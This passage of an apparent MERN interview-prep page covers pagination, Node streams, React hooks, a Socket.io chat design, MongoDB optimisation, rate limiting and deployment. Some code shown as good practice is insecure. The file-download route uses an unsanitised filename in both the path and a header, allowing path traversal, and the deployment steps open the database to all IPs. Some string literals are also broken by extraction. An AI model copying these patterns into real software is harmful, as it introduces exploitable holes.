        <button disabled={!pagination.hasPrevPage} onClick={() => setCurrentPage(p => p - 1)}>← Prev</button>
        
        {/* Page numbers */}
        {Array.from({ length: pagination.totalPages }, (_, i) => i + 1)
          .filter(page => Math.abs(page - currentPage) <= 2) // Show nearby pages
          .map(page => (
            <button
              key={page}
              onClick={() => setCurrentPage(page)}
              style={{ fontWeight: page === currentPage ? "bold" : "normal" }}
            >
              {page}
            </button>
          ))
        }
        
        <button disabled={!pagination.hasNextPage} onClick={() => setCurrentPage(p => p + 1)}>Next →</button>
        <span>Page {pagination.currentPage} of {pagination.totalPages} ({pagination.totalItems} items)</span>
      </div>
    </div>
  );
}

Infinite Scroll (Load More on Scroll):

import { useEffect, useRef, useState, useCallback } from "react";

function InfiniteProductList() {
  const [products, setProducts] = useState([]);
  const [page, setPage] = useState(1);
  const [hasMore, setHasMore] = useState(true);
  const [loading, setLoading] = useState(false);
  const observer = useRef(null);

  // Intersection Observer on last element
  const lastProductRef = useCallback(node => {
    if (loading) return;
    if (observer.current) observer.current.disconnect();
    
    observer.current = new IntersectionObserver(entries => {
      if (entries[0].isIntersecting && hasMore) {
        setPage(prev => prev + 1); // Load next page when last item visible
      }
    });
    
    if (node) observer.current.observe(node);
  }, [loading, hasMore]);

  useEffect(() => {
    if (!hasMore) return;
    
    const loadMore = async () => {
      setLoading(true);
      const res = await fetch(`/api/products?page=${page}&limit=12`);
      const data = await res.json();
      setProducts(prev => [...prev, ...data.data]); // Append, don't replace!
      setHasMore(data.pagination.hasNextPage);
      setLoading(false);
    };
    
    loadMore();
  }, [page]);

  return (
    <div>
      {products.map((product, index) => (
        <div
          key={product._id}
          ref={index === products.length - 1 ? lastProductRef : null} // Observe last item
        >
          <ProductCard product={product} />
        </div>
      ))}
      {loading && <p>Loading more...</p>}
      {!hasMore && <p>No more products!</p>}
    </div>
  );
}

💡 When to use which:

  • Page-based – Admin panels, search results (user wants to jump to page 5)
  • Infinite Scroll – Social feeds, product discovery (Instagram, Amazon)
10

What are Streams in Node.js? When and how do you use them?

Hard 📁 Node.js Advanced
💡
Detailed Answer
Scroll to read complete explanation

Streams in Node.js

Streams are objects that allow reading/writing data piece by piece (chunks) instead of loading everything into memory at once. This is crucial for handling large files efficiently.

Types of Streams:

  • Readable – Read data from a source (file, HTTP request)
  • Writable – Write data to a destination (file, HTTP response)
  • Duplex – Both readable and writable (TCP socket)
  • Transform – Modify data as it flows (compression, encryption)

Problem Without Streams:

// ❌ Bad: Loading entire 4GB file into memory
const data = fs.readFileSync("./4gb-video.mp4"); // 4GB in RAM! 💀
res.send(data); // Server crashes!

// ✅ Good: Stream the file chunk by chunk
const fileStream = fs.createReadStream("./4gb-video.mp4");
fileStream.pipe(res); // Sends 64KB chunks, only 64KB in memory at a time!

Readable Stream Example:

const fs = require("fs");

// Read file as stream
const readStream = fs.createReadStream("./large-file.txt", {
  encoding: "utf-8",
  highWaterMark: 64 * 1024 // 64KB chunk size
});

let totalBytes = 0;

readStream.on("data", (chunk) => {
  totalBytes += chunk.length;
  console.log(`Received ${chunk.length} bytes. Total: ${totalBytes}`);
});

readStream.on("end", () => {
  console.log(`Finished reading! Total: ${totalBytes} bytes`);
});

readStream.on("error", (err) => {
  console.error("Error reading file:", err.message);
});

Writable Stream Example:

const writeStream = fs.createWriteStream("./output.txt");

writeStream.write("First chunk of data
");
writeStream.write("Second chunk of data
");
writeStream.end("Final chunk"); // Signal end of writing

writeStream.on("finish", () => console.log("Writing complete!"));

Piping Streams (Most Common Pattern):

// Copy file using streams
const readStream = fs.createReadStream("./source.txt");
const writeStream = fs.createWriteStream("./destination.txt");

readStream.pipe(writeStream); // Automatically handles backpressure

// Compress file with zlib transform stream
const zlib = require("zlib");
fs.createReadStream("./large.txt")
  .pipe(zlib.createGzip())          // Transform: compress
  .pipe(fs.createWriteStream("./large.txt.gz"));
console.log("File compressed!");

Streams in Express – File Download API:

// ✅ Stream large file download (no memory issues!)
router.get("/download/:filename", async (req, res) => {
  const filePath = path.join(__dirname, "uploads", req.params.filename);
  
  // Check file exists
  if (!fs.existsSync(filePath)) {
    return res.status(404).json({ message: "File not found" });
  }

  const fileSize = fs.statSync(filePath).size;
  
  // Set headers
  res.setHeader("Content-Disposition", `attachment; filename="${req.params.filename}"`);
  res.setHeader("Content-Length", fileSize);
  res.setHeader("Content-Type", "application/octet-stream");

  // Stream the file (works for files of ANY size!)
  const fileStream = fs.createReadStream(filePath);
  fileStream.pipe(res);
  
  fileStream.on("error", (err) => {
    res.status(500).json({ message: "Error streaming file" });
  });
});

💡 Interview Use Cases: Video streaming (Netflix-like), large CSV exports, log file processing, image/file uploads. Companies like Hotstar, Swiggy use Node.js streams extensively!

Advertisement
11

What is React Suspense and Concurrent Mode?

Hard 📁 React.js Advanced
💡
Detailed Answer
Scroll to read complete explanation

React Suspense & Concurrent Features

React Suspense:

Suspense lets components "wait" for something before rendering. It shows a fallback UI (loading indicator) while the content is being loaded.

1. Suspense for Code Splitting (Lazy Loading):

import { lazy, Suspense } from "react";

// Lazy load heavy components
const HeavyDashboard = lazy(() => import("./HeavyDashboard"));
const DataViz = lazy(() => import("./DataViz"));

function App() {
  return (
    <Suspense fallback={<div className="loader">Loading Dashboard...</div>}>
      <HeavyDashboard />  {/* Only loaded when this route is visited */}
    </Suspense>
  );
}

// Nested Suspense for different loading states
function App() {
  return (
    <Suspense fallback={<PageSkeleton />}>
      <Header />
      <Suspense fallback={<ChartSkeleton />}>
        <DataViz />  {/* Different loading state */}
      </Suspense>
    </Suspense>
  );
}

2. Suspense for Data Fetching (React 18+):

// Using React Query (TanStack Query) with Suspense
import { useQuery } from "@tanstack/react-query";

function UserProfile({ userId }) {
  // This throws a Promise if data not ready → Suspense catches it!
  const { data: user } = useQuery({
    queryKey: ["user", userId],
    queryFn: () => fetch(`/api/users/${userId}`).then(r => r.json()),
    suspense: true  // Enable Suspense mode
  });

  // No loading check needed! Suspense handles it
  return <div>{user.name}</div>;
}

// Parent component handles loading
function App() {
  return (
    <Suspense fallback={<UserSkeleton />}>
      <UserProfile userId="123" />
    </Suspense>
  );
}

3. React 18 Concurrent Features:

// useTransition - mark non-urgent state updates
import { useTransition, useState } from "react";

function SearchResults() {
  const [query, setQuery] = useState("");
  const [results, setResults] = useState([]);
  const [isPending, startTransition] = useTransition();

  const handleSearch = (e) => {
    const value = e.target.value;
    
    // Urgent: Update input immediately
    setQuery(value);
    
    // Non-urgent: Results can wait (won't block UI!)
    startTransition(() => {
      setResults(searchDatabase(value)); // Heavy operation
    });
  };

  return (
    <div>
      <input value={query} onChange={handleSearch} />
      {isPending ? <p>Searching...</p> : results.map(r => <div>{r.name}</div>)}
    </div>
  );
}

// useDeferredValue - defer re-rendering expensive component
function App() {
  const [text, setText] = useState("");
  const deferredText = useDeferredValue(text); // Defers heavy list filtering

  return (
    <>
      <input onChange={e => setText(e.target.value)} />
      <HeavyList filter={deferredText} /> {/* Re-renders later, not blocking input */}
    </>
  );
}

React 18 New Features Summary:

  • Automatic Batching – Multiple setState calls batched automatically (even in async)
  • useTransition – Mark non-urgent updates
  • useDeferredValue – Defer expensive re-renders
  • Suspense for Data Fetching – Declarative loading states
  • React Server Components – Run components on the server
12

What are React Custom Hooks? Create a practical example.

Hard 📁 React.js Advanced
💡
Detailed Answer
Scroll to read complete explanation

Custom Hooks in React

Custom Hooks are JavaScript functions that start with "use" and can call other React Hooks. They allow you to extract and reuse stateful logic across multiple components.

Why Custom Hooks?

  • Extract repeated logic into reusable functions
  • Keep components clean and focused
  • Share stateful logic without class components or HOCs
  • Testable in isolation

1. useFetch – API Data Fetching Hook:

// hooks/useFetch.js
import { useState, useEffect, useCallback } from "react";

function useFetch(url) {
  const [data, setData] = useState(null);
  const [loading, setLoading] = useState(true);
  const [error, setError] = useState(null);

  const fetchData = useCallback(async () => {
    setLoading(true);
    setError(null);
    try {
      const response = await fetch(url);
      if (!response.ok) throw new Error(`HTTP error! status: ${response.status}`);
      const json = await response.json();
      setData(json);
    } catch (err) {
      setError(err.message);
    } finally {
      setLoading(false);
    }
  }, [url]);

  useEffect(() => { fetchData(); }, [fetchData]);

  return { data, loading, error, refetch: fetchData };
}

// Usage in any component - so much cleaner!
function ProductList() {
  const { data: products, loading, error, refetch } = useFetch("/api/products");

  if (loading) return <Spinner />;
  if (error) return <p>Error: {error}</p>;
  return <div>{products?.map(p => <ProductCard key={p._id} product={p} />)}</div>;
}

2. useLocalStorage – Persist State:

function useLocalStorage(key, initialValue) {
  const [value, setValue] = useState(() => {
    try {
      const stored = localStorage.getItem(key);
      return stored ? JSON.parse(stored) : initialValue;
    } catch {
      return initialValue;
    }
  });

  const setStoredValue = (newValue) => {
    setValue(newValue);
    localStorage.setItem(key, JSON.stringify(newValue));
  };

  return [value, setStoredValue];
}

// Usage
function ThemeToggle() {
  const [theme, setTheme] = useLocalStorage("theme", "light");
  return <button onClick={() => setTheme(theme === "light" ? "dark" : "light")}>Toggle</button>;
}

3. useDebounce – Delay Search Input:

function useDebounce(value, delay = 500) {
  const [debouncedValue, setDebouncedValue] = useState(value);

  useEffect(() => {
    const timer = setTimeout(() => setDebouncedValue(value), delay);
    return () => clearTimeout(timer); // Cleanup on each change
  }, [value, delay]);

  return debouncedValue;
}

// Usage
function SearchBar() {
  const [search, setSearch] = useState("");
  const debouncedSearch = useDebounce(search, 500);

  useEffect(() => {
    if (debouncedSearch) fetchResults(debouncedSearch);
  }, [debouncedSearch]); // API call only fires 500ms after typing stops!

  return <input value={search} onChange={e => setSearch(e.target.value)} />;
}

4. useForm – Form State Management:

function useForm(initialValues, validate) {
  const [values, setValues] = useState(initialValues);
  const [errors, setErrors] = useState({});
  const [isSubmitting, setIsSubmitting] = useState(false);

  const handleChange = (e) => {
    const { name, value } = e.target;
    setValues(prev => ({ ...prev, [name]: value }));
    if (errors[name]) setErrors(prev => ({ ...prev, [name]: "" }));
  };

  const handleSubmit = (onSubmit) => async (e) => {
    e.preventDefault();
    const validationErrors = validate ? validate(values) : {};
    setErrors(validationErrors);
    if (Object.keys(validationErrors).length === 0) {
      setIsSubmitting(true);
      await onSubmit(values);
      setIsSubmitting(false);
    }
  };

  const reset = () => { setValues(initialValues); setErrors({}); };

  return { values, errors, isSubmitting, handleChange, handleSubmit, reset };
}
13

How would you design a Real-Time Chat Application using MERN Stack?

Hard 📁 System Design
💡
Detailed Answer
Scroll to read complete explanation

Real-Time Chat App – MERN Stack System Design

Architecture Overview:

React Frontend ←──WebSocket (Socket.io)──→ Node.js/Express Backend
                                                      │
                                                 MongoDB Atlas
                                              (Message Storage)
                                                      │
                                                 Redis Cache
                                             (Online Users, Rooms)

Backend – WebSocket Setup with Socket.io:

const express = require("express");
const http = require("http");
const { Server } = require("socket.io");
const mongoose = require("mongoose");

const app = express();
const server = http.createServer(app); // HTTP server (not just express!)

const io = new Server(server, {
  cors: { origin: "http://localhost:3000" }
});

// Message Schema
const messageSchema = new mongoose.Schema({
  roomId: { type: String, required: true },
  sender: { type: mongoose.Schema.Types.ObjectId, ref: "User" },
  content: { type: String, required: true },
  type: { type: String, enum: ["text", "image", "file"], default: "text" },
  timestamp: { type: Date, default: Date.now },
  readBy: [{ type: mongoose.Schema.Types.ObjectId, ref: "User" }]
});

const Message = mongoose.model("Message", messageSchema);

// Track online users
const onlineUsers = new Map(); // userId → socketId

io.on("connection", (socket) => {
  console.log("User connected:", socket.id);

  // User joins with their ID
  socket.on("user:connect", (userId) => {
    onlineUsers.set(userId, socket.id);
    io.emit("users:online", Array.from(onlineUsers.keys()));
  });

  // Join a chat room
  socket.on("room:join", async ({ roomId, userId }) => {
    socket.join(roomId);
    
    // Get message history
    const messages = await Message.find({ roomId })
      .populate("sender", "name avatar")
      .sort({ timestamp: 1 })
      .limit(50)
      .lean();
    
    socket.emit("messages:history", messages);
    socket.to(roomId).emit("user:joined", { userId, roomId });
  });

  // Send message
  socket.on("message:send", async ({ roomId, senderId, content }) => {
    // Save to MongoDB
    const message = await Message.create({ roomId, sender: senderId, content });
    const populatedMsg = await message.populate("sender", "name avatar");
    
    // Broadcast to ALL users in room (including sender)
    io.to(roomId).emit("message:receive", populatedMsg);
  });

  // Typing indicator
  socket.on("typing:start", ({ roomId, userId }) => {
    socket.to(roomId).emit("typing:show", { userId });
  });
  
  socket.on("typing:stop", ({ roomId, userId }) => {
    socket.to(roomId).emit("typing:hide", { userId });
  });

  // Disconnect
  socket.on("disconnect", () => {
    for (const [userId, socketId] of onlineUsers.entries()) {
      if (socketId === socket.id) {
        onlineUsers.delete(userId);
        io.emit("users:online", Array.from(onlineUsers.keys()));
        break;
      }
    }
  });
});

server.listen(5000);

Frontend – React Socket.io Client:

import { useEffect, useRef, useState } from "react";
import io from "socket.io-client";

function ChatRoom({ roomId, userId }) {
  const [messages, setMessages] = useState([]);
  const [input, setInput] = useState("");
  const [isTyping, setIsTyping] = useState(false);
  const socketRef = useRef(null);
  const typingTimer = useRef(null);

  useEffect(() => {
    socketRef.current = io("http://localhost:5000");
    const socket = socketRef.current;

    socket.emit("user:connect", userId);
    socket.emit("room:join", { roomId, userId });

    socket.on("messages:history", setMessages);
    socket.on("message:receive", (msg) => {
      setMessages(prev => [...prev, msg]);
    });
    socket.on("typing:show", () => setIsTyping(true));
    socket.on("typing:hide", () => setIsTyping(false));

    return () => socket.disconnect();
  }, [roomId, userId]);

  const sendMessage = () => {
    if (!input.trim()) return;
    socketRef.current.emit("message:send", { roomId, senderId: userId, content: input });
    setInput("");
  };

  const handleTyping = () => {
    socketRef.current.emit("typing:start", { roomId, userId });
    clearTimeout(typingTimer.current);
    typingTimer.current = setTimeout(() => {
      socketRef.current.emit("typing:stop", { roomId, userId });
    }, 1000);
  };

  return (
    <div>
      {messages.map(msg => <div key={msg._id}>{msg.sender.name}: {msg.content}</div>)}
      {isTyping && <p>Someone is typing...</p>}
      <input value={input} onChange={e => { setInput(e.target.value); handleTyping(); }} />
      <button onClick={sendMessage}>Send</button>
    </div>
  );
}
14

What are Prototypes and Prototype Chain in JavaScript?

Hard 📁 JavaScript Fundamentals
💡
Detailed Answer
Scroll to read complete explanation

JavaScript Prototypes – Deep Dive

JavaScript is a prototype-based language. Every object has a hidden property called [[Prototype]] (accessed via __proto__ or Object.getPrototypeOf()) that points to another object. This creates a Prototype Chain for inheritance.

Understanding Prototype:

// Every function has a .prototype property
function Person(name, age) {
  this.name = name;
  this.age = age;
}

// Add method to prototype (shared by all instances)
Person.prototype.greet = function() {
  return `Hi, I'm ${this.name}, ${this.age} years old!`;
};

Person.prototype.getDetails = function() {
  return `Name: ${this.name}, Age: ${this.age}`;
};

const person1 = new Person("Priya", 25);
const person2 = new Person("Ravi", 28);

console.log(person1.greet());  // "Hi, I'm Priya, 25 years old!"
console.log(person2.greet());  // "Hi, I'm Ravi, 28 years old!"

// Both share the SAME greet function via prototype (memory efficient!)
console.log(person1.greet === person2.greet); // true

Prototype Chain:

// When you access a property, JavaScript looks:
// 1. On the object itself
// 2. On object's prototype
// 3. On prototype's prototype (chain)
// 4. Until null is reached (end of chain)

console.log(person1.name);      // Found on object itself
console.log(person1.greet());   // Found on Person.prototype
console.log(person1.toString()); // Found on Object.prototype (root!)
console.log(person1.xyz);       // undefined - not found anywhere

// Chain: person1 → Person.prototype → Object.prototype → null

Modern Inheritance with Classes (ES6+):

// Classes are syntactic sugar over prototypes!
class Animal {
  constructor(name) {
    this.name = name;
  }
  
  speak() {
    return `${this.name} makes a sound`;
  }
}

class Dog extends Animal { // Prototype chain setup automatically!
  constructor(name, breed) {
    super(name); // Calls Animal constructor
    this.breed = breed;
  }
  
  speak() {
    return `${this.name} barks! (${this.breed})`;
  }
  
  fetch() {
    return `${this.name} fetches the ball!`;
  }
}

const dog = new Dog("Tommy", "Labrador");
console.log(dog.speak());  // "Tommy barks! (Labrador)" - own method
console.log(dog.fetch());  // "Tommy fetches the ball!" - Dog method
// dog.speak → Dog.prototype → Animal.prototype → Object.prototype → null

💡 Key Interview Points:

  • Prototype methods are shared among all instances (memory efficient)
  • Own properties (set in constructor) are unique per instance
  • hasOwnProperty() checks if property is on the object itself, not inherited
  • ES6 Classes are just syntax sugar – still prototype-based underneath!
15

How do you optimize MongoDB queries for better performance?

Hard 📁 Performance Optimization
💡
Detailed Answer
Scroll to read complete explanation

MongoDB Performance Optimization

1. Use Indexes (Most Important!)

// Create indexes on frequently queried fields
db.products.createIndex({ category: 1 });
db.products.createIndex({ category: 1, price: -1 }); // Compound
db.users.createIndex({ email: 1 }, { unique: true });
db.sessions.createIndex({ createdAt: 1 }, { expireAfterSeconds: 86400 }); // TTL

// Check if query uses index
db.products.find({ category: "Electronics" }).explain("executionStats");
// Look for: "IXSCAN" (good) vs "COLLSCAN" (bad - no index!)

2. Projection – Select Only Needed Fields:

// ❌ Returns ALL fields (wasteful)
const users = await User.find();

// ✅ Return only needed fields
const users = await User.find({}, { name: 1, email: 1, _id: 0 });

// In Mongoose
const users = await User.find().select("name email -_id");

3. Pagination – Don't Fetch All Data:

// ❌ Returns all 100,000 products at once!
const products = await Product.find();

// ✅ Pagination with skip() and limit()
const page = parseInt(req.query.page) || 1;
const limit = parseInt(req.query.limit) || 10;
const skip = (page - 1) * limit;

const products = await Product.find()
  .skip(skip)
  .limit(limit)
  .sort({ createdAt: -1 });

const total = await Product.countDocuments();

res.json({
  products,
  currentPage: page,
  totalPages: Math.ceil(total / limit),
  total
});

// ✅ Cursor-based pagination (better for large datasets)
const products = await Product.find({ _id: { $gt: lastId } }).limit(10);

4. Lean Queries – Skip Mongoose Object Conversion:

// ❌ Regular: Returns full Mongoose documents (heavy)
const users = await User.find();

// ✅ Lean: Returns plain JavaScript objects (50-60% faster!)
const users = await User.find().lean();
// Use lean() when you DON'T need Mongoose methods (.save(), .populate())

5. Use Aggregation for Complex Queries:

// ❌ Multiple queries (N+1 problem)
const orders = await Order.find({ status: "completed" });
for (const order of orders) {
  const user = await User.findById(order.userId); // N extra queries!
}

// ✅ Single aggregation pipeline with $lookup
const ordersWithUsers = await Order.aggregate([
  { $match: { status: "completed" } },
  { $lookup: {
      from: "users",
      localField: "userId",
      foreignField: "_id",
      as: "user"
  }},
  { $unwind: "$user" }
]);

6. Caching with Redis:

const redis = require("redis");
const client = redis.createClient();

router.get("/products", async (req, res) => {
  const cacheKey = "all_products";
  
  // Check cache first
  const cached = await client.get(cacheKey);
  if (cached) {
    return res.json(JSON.parse(cached));
  }
  
  // Fetch from MongoDB if not cached
  const products = await Product.find().lean();
  
  // Store in cache for 5 minutes
  await client.setEx(cacheKey, 300, JSON.stringify(products));
  
  res.json(products);
});
Advertisement
16

How do you implement Rate Limiting and prevent DDoS attacks in Node.js?

Hard 📁 Security
💡
Detailed Answer
Scroll to read complete explanation

Rate Limiting & DDoS Protection in Node.js

What is Rate Limiting?

Rate limiting restricts the number of requests a user/IP can make in a given time window. This prevents:

  • DDoS (Distributed Denial of Service) attacks
  • Brute force login attacks
  • API abuse and scraping
  • Server overload

Implementation with express-rate-limit:

const rateLimit = require("express-rate-limit");

// 1. General API Rate Limiter
const generalLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,  // 15 minutes
  max: 100,                   // Max 100 requests per window
  message: { 
    message: "Too many requests from this IP. Try again in 15 minutes." 
  },
  standardHeaders: true,  // Return rate limit info in headers
  legacyHeaders: false,
});

// 2. Strict Rate Limiter for Auth Routes (prevent brute force)
const authLimiter = rateLimit({
  windowMs: 60 * 60 * 1000, // 1 hour
  max: 10,                   // Only 10 login attempts per hour!
  message: { message: "Too many login attempts. Account temporarily locked." },
  skipSuccessfulRequests: true, // Don't count successful logins
});

// 3. API rate limiter (per user, not IP)
const userRateLimiter = rateLimit({
  windowMs: 60 * 1000, // 1 minute
  max: 60,             // 60 requests per minute per user
  keyGenerator: (req) => req.user?.id || req.ip, // Use user ID if logged in
});

// Apply limiters
app.use("/api/", generalLimiter);         // All API routes
app.use("/api/auth/login", authLimiter);   // Auth routes only
app.use("/api/", authMiddleware, userRateLimiter); // For authenticated users

// 4. Using Redis for distributed rate limiting (production)
const RedisStore = require("rate-limit-redis");
const redis = require("redis");
const client = redis.createClient({ url: process.env.REDIS_URL });

const distributedLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 100,
  store: new RedisStore({
    sendCommand: (...args) => client.sendCommand(args),
  }),
});

Additional Security Measures:

// Helmet.js - Security Headers
const helmet = require("helmet");
app.use(helmet());

// HPP - HTTP Parameter Pollution prevention
const hpp = require("hpp");
app.use(hpp());

// Request Size Limiting (prevent large payload attacks)
app.use(express.json({ limit: "10mb" }));
app.use(express.urlencoded({ limit: "10mb", extended: true }));

// IP Blocking (manual blacklist)
const blockedIPs = new Set(["192.168.1.100"]);
app.use((req, res, next) => {
  if (blockedIPs.has(req.ip)) {
    return res.status(403).json({ message: "Access denied" });
  }
  next();
});

💡 Production Tip: Use Cloudflare or AWS WAF (Web Application Firewall) as the first line of defense before your Node.js server for enterprise-level DDoS protection!

17

How do you deploy a MERN Stack application to production?

Hard 📁 Full Stack Integration
💡
Detailed Answer
Scroll to read complete explanation

MERN Stack Deployment – Complete Guide

Architecture for Production:

Internet → Domain → Nginx (Reverse Proxy)
                        │
              ┌─────────┴──────────┐
              │                    │
        React Build           Express API
        (Static Files)        (Node.js:5000)
              │                    │
           Netlify/              MongoDB Atlas
           Vercel              (Cloud Database)

Step 1: Prepare Backend for Production

# 1. Set environment variables in production

# server.js - production settings
if (process.env.NODE_ENV === "production") {
  // Serve React build files
  app.use(express.static(path.join(__dirname, "client/build")));
  
  // Handle React routing
  app.get("*", (req, res) => {
    res.sendFile(path.join(__dirname, "client/build", "index.html"));
  });
}

Step 2: Build React App

cd client
npm run build  # Creates optimized production build in /build folder

Step 3A: Deploy to Render.com (Free & Easy)

# 1. Push code to GitHub
# 2. Create account on render.com
# 3. New Web Service → Connect GitHub repo
# 4. Settings:
#    Build Command: npm install && npm run build
#    Start Command: node server.js
# 5. Add Environment Variables in Render dashboard
#    MONGODB_URI, JWT_SECRET, NODE_ENV=production

Step 3B: Deploy Frontend to Vercel/Netlify

# Vercel (recommended for React)
npm install -g vercel
cd client
vercel --prod

# Netlify
# 1. netlify.toml configuration:
[build]
  command = "npm run build"
  publish = "build"

[[redirects]]
  from = "/*"
  to = "/index.html"
  status = 200  # Handles React Router

Step 4: MongoDB Atlas (Cloud Database)

# 1. Create account on mongodb.com/cloud/atlas
# 2. Create cluster (free tier available)
# 3. Create database user
# 4. Whitelist IPs (0.0.0.0/0 for all IPs)
# 5. Get connection string:
MONGODB_URI=mongodb+srv://username:password@cluster0.mongodb.net/myapp

Step 5: Production Checklist

  • ✅ Remove all console.log() statements
  • ✅ Use environment variables (never hardcode secrets)
  • ✅ Enable HTTPS (SSL certificate)
  • ✅ Set secure CORS origins
  • ✅ Enable rate limiting (express-rate-limit)
  • ✅ Add security headers (helmet.js)
  • ✅ Enable gzip compression
  • ✅ Set up error logging (Winston, Sentry)
# Production security packages
npm install helmet express-rate-limit compression morgan

// server.js
const helmet = require("helmet");
const rateLimit = require("express-rate-limit");
const compression = require("compression");

app.use(helmet()); // Security headers
app.use(compression()); // Gzip compression

const limiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 100 // 100 requests per window per IP
});
app.use("/api/", limiter);
18

What is the Event Loop in Node.js? Explain in detail.

Hard 📁 Node.js Advanced
💡
Detailed Answer
Scroll to read complete explanation

Node.js Event Loop – Deep Dive

The Event Loop is the core mechanism that enables Node.js to perform non-blocking I/O operations using a single thread. It continuously checks if there are tasks to execute.

Event Loop Phases (in order):

┌────────────────────────────────────┐
│           timers                   │  ← setTimeout, setInterval callbacks
├────────────────────────────────────┤
│        pending callbacks           │  ← I/O errors from previous iteration
├────────────────────────────────────┤
│           idle, prepare            │  ← Internal use only
├────────────────────────────────────┤
│              poll                  │  ← Retrieve new I/O events (main phase!)
├────────────────────────────────────┤
│              check                 │  ← setImmediate() callbacks
├────────────────────────────────────┤
│         close callbacks            │  ← socket.close() etc.
└────────────────────────────────────┘

Call Stack vs Event Queue:

console.log("1 - Synchronous");        // Call Stack

setTimeout(() => console.log("2 - Timer 0ms"), 0);  // Timer Queue

Promise.resolve().then(() => console.log("3 - Promise")); // Microtask Queue

process.nextTick(() => console.log("4 - nextTick")); // Microtask Queue (FIRST!)

console.log("5 - Synchronous");        // Call Stack

// Output:
// 1 - Synchronous       (Call Stack)
// 5 - Synchronous       (Call Stack)
// 4 - nextTick          (Microtask - process.nextTick runs first!)
// 3 - Promise           (Microtask - Promises run after nextTick)
// 2 - Timer 0ms         (Macrotask - setTimeout runs last)

Priority Order (Highest to Lowest):

  1. Call Stack – Synchronous code (runs first)
  2. process.nextTick() – Runs before other I/O
  3. Promise callbacks (.then) – Microtasks
  4. setTimeout / setInterval – Macrotasks
  5. setImmediate – After I/O events

Real-World Impact:

// This is why async matters in Node.js!
// BAD: Blocking the event loop
app.get("/compute", (req, res) => {
  // This blocks ALL other requests for 5 seconds!
  const result = heavyComputation(); // CPU-intensive synchronous code
  res.json({ result });
});

// GOOD: Use Worker Threads for CPU-intensive tasks
const { Worker } = require("worker_threads");
app.get("/compute", (req, res) => {
  const worker = new Worker("./worker.js");
  worker.on("message", (result) => res.json({ result }));
  worker.postMessage({ task: "heavyComputation" });
});

💡 MNC Interview Insight: The Event Loop question is asked in almost every senior MERN developer interview at companies like Amazon, Flipkart, and Infosys. The key answer: "Node.js uses a single thread with an Event Loop to handle thousands of concurrent connections without blocking."

19

What is Redux? When should you use it instead of Context API?

Hard 📁 React.js Advanced
💡
Detailed Answer
Scroll to read complete explanation

What is Redux?

Redux is a predictable state management library for JavaScript apps. It stores the entire application state in a single store and updates it using pure functions called reducers.

Core Redux Concepts:

  • Store – Single source of truth; holds entire app state
  • Action – Plain object describing "what happened" { type, payload }
  • Reducer – Pure function: (state, action) => newState
  • Dispatch – Method to send actions to the store
  • Selector – Function to read data from store

Modern Redux Toolkit Setup:

// Install: npm install @reduxjs/toolkit react-redux

// store/cartSlice.js
import { createSlice } from "@reduxjs/toolkit";

const cartSlice = createSlice({
  name: "cart",
  initialState: { items: [], total: 0 },
  reducers: {
    addItem: (state, action) => {
      state.items.push(action.payload);
      state.total += action.payload.price;
    },
    removeItem: (state, action) => {
      const item = state.items.find(i => i.id === action.payload);
      state.total -= item.price;
      state.items = state.items.filter(i => i.id !== action.payload);
    },
    clearCart: (state) => {
      state.items = [];
      state.total = 0;
    }
  }
});

export const { addItem, removeItem, clearCart } = cartSlice.actions;
export default cartSlice.reducer;

// store/store.js
import { configureStore } from "@reduxjs/toolkit";
import cartReducer from "./cartSlice";
import authReducer from "./authSlice";

export const store = configureStore({
  reducer: {
    cart: cartReducer,
    auth: authReducer
  }
});

// index.js
import { Provider } from "react-redux";
import { store } from "./store/store";
root.render(<Provider store={store}><App /></Provider>);

// Component using Redux
import { useSelector, useDispatch } from "react-redux";
import { addItem, removeItem } from "./store/cartSlice";

function ProductCard({ product }) {
  const dispatch = useDispatch();
  const cartTotal = useSelector(state => state.cart.total);

  return (
    <div>
      <p>{product.name} - ₹{product.price}</p>
      <p>Cart Total: ₹{cartTotal}</p>
      <button onClick={() => dispatch(addItem(product))}>Add to Cart</button>
    </div>
  );
}

Context API vs Redux:

Feature Context API Redux
Complexity Simple Complex setup
Performance Re-renders more often Optimized selectors
DevTools Basic Excellent Redux DevTools
Async Manual (useEffect) Redux Thunk/Saga
Best for Auth, Theme, Language Large apps, complex state
20

What is Virtual DOM and how does React Reconciliation work?

Hard 📁 React.js Advanced
💡
Detailed Answer
Scroll to read complete explanation

What is Virtual DOM?

The Virtual DOM is a lightweight JavaScript representation of the actual DOM. React maintains a copy of the real DOM in memory, compares it with the new state, and only updates what changed.

How React Rendering Works – Step by Step:

1. Initial Render:
   React creates Virtual DOM tree → Renders to Real DOM

2. State Change:
   New Virtual DOM created → Compared with previous Virtual DOM

3. Diffing (Reconciliation):
   React finds the differences (diff)

4. Patching:
   Only the changed parts are updated in Real DOM (not the whole page!)

Without Virtual DOM (Traditional):

// Every change re-renders the ENTIRE DOM
document.getElementById("app").innerHTML = generateHTML();
// 💥 Very slow! Full re-render every time

With Virtual DOM (React):

// React only updates the specific changed element
// Example: only the count span is updated, not the whole page
function Counter() {
  const [count, setCount] = useState(0);
  return (
    <div>         {/* Not re-rendered */}
      <h1>Counter</h1>  {/* Not re-rendered */}
      <span>{count}</span> {/* ✅ Only this is updated! */}
      <button onClick={() => setCount(count + 1)}>Click</button>
    </div>
  );
}

Reconciliation Rules:

  • Different element types → Tear down old tree, build new tree
  • Same element type → Update only changed attributes
  • Keys in lists → React uses keys to identify which items changed

Why Keys Matter in Lists:

// ❌ Without keys (React re-renders ALL items on change)
{users.map(user => <li>{user.name}</li>)}

// ✅ With unique keys (React knows exactly what changed)
{users.map(user => <li key={user._id}>{user.name}</li>)}

// ❌ Never use index as key when list can change order
{users.map((user, index) => <li key={index}>{user.name}</li>)}

React Fiber (React 16+):

React Fiber is the new reconciliation engine that makes rendering interruptible. It can pause, resume, or abort rendering, enabling features like Concurrent Mode and Suspense.

💡 Google Interview Tip: Virtual DOM doesn't make React fast by itself – it's the efficient diffing algorithm (O(n) complexity) that makes it fast!

Advertisement
21

What are useMemo and useCallback Hooks? Why are they used?

Hard 📁 React.js Hooks
💡
Detailed Answer
Scroll to read complete explanation

Performance Optimization Hooks

Both useMemo and useCallback are used to optimize React performance by preventing unnecessary re-computations and re-renders.

useMemo – Memoize Computed Values

useMemo caches the result of an expensive calculation and only recomputes it when dependencies change.

import { useState, useMemo } from "react";

function ProductFilter() {
  const [products] = useState([
    { id: 1, name: "Laptop", price: 50000, category: "Electronics" },
